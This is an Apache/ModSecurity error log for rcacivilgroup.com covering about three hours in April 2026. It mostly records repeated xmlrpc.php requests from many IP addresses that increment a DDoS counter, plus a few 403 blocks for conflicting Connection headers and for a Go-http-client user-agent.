[Thu Apr 09 23:24:06.406216 2026] [:error] [pid 24515:tid 24521] [client 51.159.214.31:37678] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfElq1OMnvM2fMnB1P8ygAAAAI"]
[Thu Apr 09 23:25:21.376974 2026] [:error] [pid 24515:tid 24533] [client 121.200.216.6:52168] [client 121.200.216.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.200.216.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfE4a1OMnvM2fMnB1P9GgAAAA4"]
[Thu Apr 09 23:25:44.677899 2026] [:error] [pid 24927:tid 24931] [client 51.178.183.70:35650] [client 51.178.183.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.178.183.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfE-DXObuzEuw8mNJs7yQAAAQE"]
[Thu Apr 09 23:29:02.803686 2026] [:error] [pid 20837:tid 20853] [client 170.106.180.246:54420] [client 170.106.180.246] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adfFvvSL71FHZkjrGzMZkQAAAY4"]
[Thu Apr 09 23:29:08.375329 2026] [:error] [pid 24927:tid 24932] [client 217.217.253.123:43860] [client 217.217.253.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.217.253.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfFxDXObuzEuw8mNJs8MwAAAQI"]
[Thu Apr 09 23:44:07.447966 2026] [:error] [pid 63331:tid 63340] [client 45.33.13.194:49326] [client 45.33.13.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.33.13.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfJRybKfIYuVjWbE4WqqwAAAcc"]
[Thu Apr 09 23:50:02.140558 2026] [:error] [pid 24517:tid 24594] [client 103.186.241.154:38969] [client 103.186.241.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.241.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfKqnboYEn2ZFM_PS-PiwAAAJQ"]
[Thu Apr 09 23:51:13.848385 2026] [:error] [pid 24927:tid 24948] [client 151.252.48.20:42890] [client 151.252.48.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 151.252.48.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfK8TXObuzEuw8mNJs_QQAAARI"]
[Thu Apr 09 23:52:02.633596 2026] [:error] [pid 18477:tid 18492] [client 159.223.226.118:51362] [client 159.223.226.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.226.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfLIsDe826HlFeoLPKz-gAAAU0"]
[Thu Apr 09 23:54:48.749024 2026] [:error] [pid 24516:tid 24562] [client 212.125.4.206:52828] [client 212.125.4.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.125.4.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfLyNhW7vSS-UkeWCVFzQAAAE8"]
[Fri Apr 10 00:06:24.769486 2026] [:error] [pid 24516:tid 24555] [client 178.18.249.91:49194] [client 178.18.249.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.249.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfOgNhW7vSS-UkeWCVGtQAAAEg"]
[Fri Apr 10 00:08:58.973611 2026] [:error] [pid 20837:tid 20842] [client 20.218.128.24:56932] [client 20.218.128.24] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.218.128.24, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfPGvSL71FHZkjrGzMg9gAAAYM"]
[Fri Apr 10 00:10:21.495984 2026] [:error] [pid 24624:tid 24640] [client 178.18.249.91:49198] [client 178.18.249.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.249.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfPbe4Jn-WvK1ZBTvgD0QAAAM4"]
[Fri Apr 10 00:11:13.335058 2026] [:error] [pid 24624:tid 24639] [client 173.239.214.39:62221] [client 173.239.214.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "adfPoe4Jn-WvK1ZBTvgEOwAAAM0"]
[Fri Apr 10 00:12:26.291995 2026] [:error] [pid 20837:tid 20854] [client 148.113.202.220:59072] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfP6vSL71FHZkjrGzMhwgAAAY8"]
[Fri Apr 10 00:16:16.684510 2026] [:error] [pid 63331:tid 63337] [client 157.230.98.69:35102] [client 157.230.98.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.98.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfQ0CbKfIYuVjWbE4Wz6wAAAcQ"]
[Fri Apr 10 00:17:36.067792 2026] [:error] [pid 24515:tid 24539] [client 65.21.190.2:51052] [client 65.21.190.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.190.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfRIK1OMnvM2fMnB1MRuwAAABQ"]
[Fri Apr 10 00:25:22.780696 2026] [:error] [pid 24624:tid 24650] [client 46.105.76.214:24932] [client 46.105.76.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.76.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfS8u4Jn-WvK1ZBTvgHBAAAANg"]
[Fri Apr 10 00:29:17.446080 2026] [:error] [pid 24515:tid 24529] [client 46.105.230.99:40894] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfT3a1OMnvM2fMnB1MWNQAAAAo"]
[Fri Apr 10 00:29:43.703107 2026] [:error] [pid 24515:tid 24523] [client 94.23.210.48:47766] [client 94.23.210.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.23.210.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfT961OMnvM2fMnB1MWVAAAAAQ"]
[Fri Apr 10 00:31:34.033871 2026] [:error] [pid 63331:tid 63341] [client 93.91.154.4:51430] [client 93.91.154.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.91.154.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfUZibKfIYuVjWbE4W3DQAAAcg"]
[Fri Apr 10 00:31:36.331752 2026] [:error] [pid 24515:tid 24533] [client 123.30.233.48:54866] [client 123.30.233.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.30.233.48, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfUaK1OMnvM2fMnB1MWvAAAAA4"]
[Fri Apr 10 00:33:11.867708 2026] [:error] [pid 20837:tid 20863] [client 64.118.142.87:38968] [client 64.118.142.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.118.142.87, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfUx_SL71FHZkjrGzMmbQAAAZg"]
[Fri Apr 10 00:44:05.397103 2026] [:error] [pid 36397:tid 36401] [client 138.197.129.229:54112] [client 138.197.129.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.129.229, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfXVWhis4RvVEWEv9vtYwAAAAA"]
[Fri Apr 10 00:48:51.882450 2026] [:error] [pid 36672:tid 36675] [client 47.244.90.157:34908] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfYcz99r9VLJsT_o8h3wwAAAME"]
[Fri Apr 10 00:56:36.819913 2026] [:error] [pid 36672:tid 36675] [client 34.76.200.156:45242] [client 34.76.200.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.200.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfaRD99r9VLJsT_o8h6fQAAAME"]
[Fri Apr 10 00:57:28.646249 2026] [:error] [pid 36398:tid 36429] [client 77.68.115.185:40714] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfaeOX640wXZwwgfP9w8wAAAEE"]
[Fri Apr 10 00:58:22.128836 2026] [:error] [pid 36672:tid 36686] [client 159.89.91.236:40288] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfarj99r9VLJsT_o8h66wAAAMw"]
[Fri Apr 10 01:00:12.845869 2026] [:error] [pid 36399:tid 36478] [client 106.227.49.113:50766] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adfbHK8Hkxpyh6_TlVQwQAAAAJc"]
[Fri Apr 10 01:00:33.050521 2026] [:error] [pid 21486:tid 21503] [client 192.250.239.237:42878] [client 192.250.239.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.250.239.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfbMaBRftltyNdYwLobTwAAAQ8"]
[Fri Apr 10 01:06:59.998049 2026] [:error] [pid 36399:tid 36466] [client 188.166.244.214:54618] [client 188.166.244.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.244.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfcs68Hkxpyh6_TlVQx-AAAAIs"]
[Fri Apr 10 01:08:48.136409 2026] [:error] [pid 36399:tid 36462] [client 52.206.118.176:43608] [client 52.206.118.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.206.118.176, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfdIK8Hkxpyh6_TlVQySAAAAIc"]
[Fri Apr 10 01:12:02.807219 2026] [:error] [pid 36397:tid 36407] [client 51.38.230.115:34352] [client 51.38.230.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.230.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfd4mhis4RvVEWEv9vxGwAAAAY"]
[Fri Apr 10 01:14:04.209732 2026] [:error] [pid 36397:tid 36405] [client 34.151.198.67:55096] [client 34.151.198.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.151.198.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfeXGhis4RvVEWEv9vxRwAAAAQ"]
[Fri Apr 10 01:14:32.694807 2026] [:error] [pid 36672:tid 36685] [client 217.154.192.21:56720] [client 217.154.192.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.192.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfeeD99r9VLJsT_o8h_qgAAAMs"]
[Fri Apr 10 01:15:52.570419 2026] [:error] [pid 36672:tid 36679] [client 103.110.84.178:56558] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfeyD99r9VLJsT_o8h_5wAAAMU"]
[Fri Apr 10 01:18:40.500829 2026] [:error] [pid 21486:tid 21494] [client 34.76.200.156:63286] [client 34.76.200.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.200.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adffcKBRftltyNdYwLoiYQAAAQY"]
[Fri Apr 10 01:34:47.073320 2026] [:error] [pid 29569:tid 29592] [client 176.96.136.90:37500] [client 176.96.136.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.96.136.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfjN7t9mkieWu8HPk5FSAAAAVM"]
[Fri Apr 10 01:34:55.384443 2026] [:error] [pid 36398:tid 36449] [client 212.7.160.134:38828] [client 212.7.160.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.7.160.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfjP-X640wXZwwgfP92owAAAFU"]
[Fri Apr 10 01:35:43.216094 2026] [:error] [pid 21486:tid 21500] [client 211.21.61.224:41044] [client 211.21.61.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfjb6BRftltyNdYwLonCQAAAQw"]
[Fri Apr 10 01:38:42.547862 2026] [:error] [pid 36398:tid 36439] [client 78.142.140.182:44312] [client 78.142.140.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.142.140.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfkIuX640wXZwwgfP925QAAAEs"]
[Fri Apr 10 01:43:45.846299 2026] [:error] [pid 36672:tid 36696] [client 167.172.55.225:34784] [client 167.172.55.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.55.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adflUT99r9VLJsT_o8iKcwAAANY"]
[Fri Apr 10 01:45:09.733809 2026] [:error] [pid 36398:tid 36442] [client 5.45.69.27:47324] [client 5.45.69.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.45.69.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adflpeX640wXZwwgfP93qAAAAE4"]
[Fri Apr 10 01:48:05.025104 2026] [:error] [pid 29569:tid 29583] [client 212.132.70.123:59800] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.132.70.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfmVbt9mkieWu8HPk5IZwAAAUo"]
[Fri Apr 10 01:54:44.885250 2026] [:error] [pid 36397:tid 36404] [client 165.22.37.239:51988] [client 165.22.37.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.37.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfn5Ghis4RvVEWEv9v22gAAAAM"]
[Fri Apr 10 01:58:53.835146 2026] [:error] [pid 21486:tid 21492] [client 217.76.61.13:36238] [client 217.76.61.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.76.61.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfo3aBRftltyNdYwLoq6wAAAQQ"]
[Fri Apr 10 02:10:11.969972 2026] [:error] [pid 36672:tid 36691] [client 85.128.143.131:39718] [client 85.128.143.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfrgz99r9VLJsT_o8iUEwAAANE"]
[Fri Apr 10 02:13:01.788141 2026] [:error] [pid 29569:tid 29585] [client 20.163.27.0:36172] [client 20.163.27.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.163.27.0, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfsLbt9mkieWu8HPk5N1AAAAUw"]
[Fri Apr 10 02:19:10.782309 2026] [:error] [pid 21486:tid 21489] [client 162.55.254.149:41518] [client 162.55.254.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.55.254.149, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adftnqBRftltyNdYwLouawAAAQE"]
[Fri Apr 10 02:20:28.081208 2026] [:error] [pid 21486:tid 21501] [client 185.203.28.52:34604] [client 185.203.28.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.203.28.52, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adft7KBRftltyNdYwLousQAAAQ0"]
[Fri Apr 10 02:26:22.168874 2026] [:error] [pid 36399:tid 36461] [client 81.8.91.201:43576] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfvTq8Hkxpyh6_TlVQ_lgAAAIY"]
[Fri Apr 10 02:30:24.911472 2026] [:error] [pid 36672:tid 36688] [client 211.169.178.4:40245] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.169.178.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfwQD99r9VLJsT_o8ibsQAAAM4"]
[Fri Apr 10 02:37:24.924335 2026] [:error] [pid 36399:tid 36457] [client 137.184.64.22:42738] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.64.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfx5K8Hkxpyh6_TlVRA9wAAAII"]
[Fri Apr 10 02:41:07.080523 2026] [:error] [pid 36398:tid 36443] [client 177.155.199.18:58484] [client 177.155.199.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.155.199.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adfyw-X640wXZwwgfP9-hAAAAE8"]
[Fri Apr 10 02:48:51.449739 2026] [:error] [pid 21486:tid 21488] [client 54.36.209.212:54000] [client 54.36.209.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.209.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf0k6BRftltyNdYwLo0AQAAAQA"]
[Fri Apr 10 02:49:06.797496 2026] [:error] [pid 21486:tid 21492] [client 103.153.2.10:40748] [client 103.153.2.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.153.2.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adf0oqBRftltyNdYwLo0FAAAAQQ"]
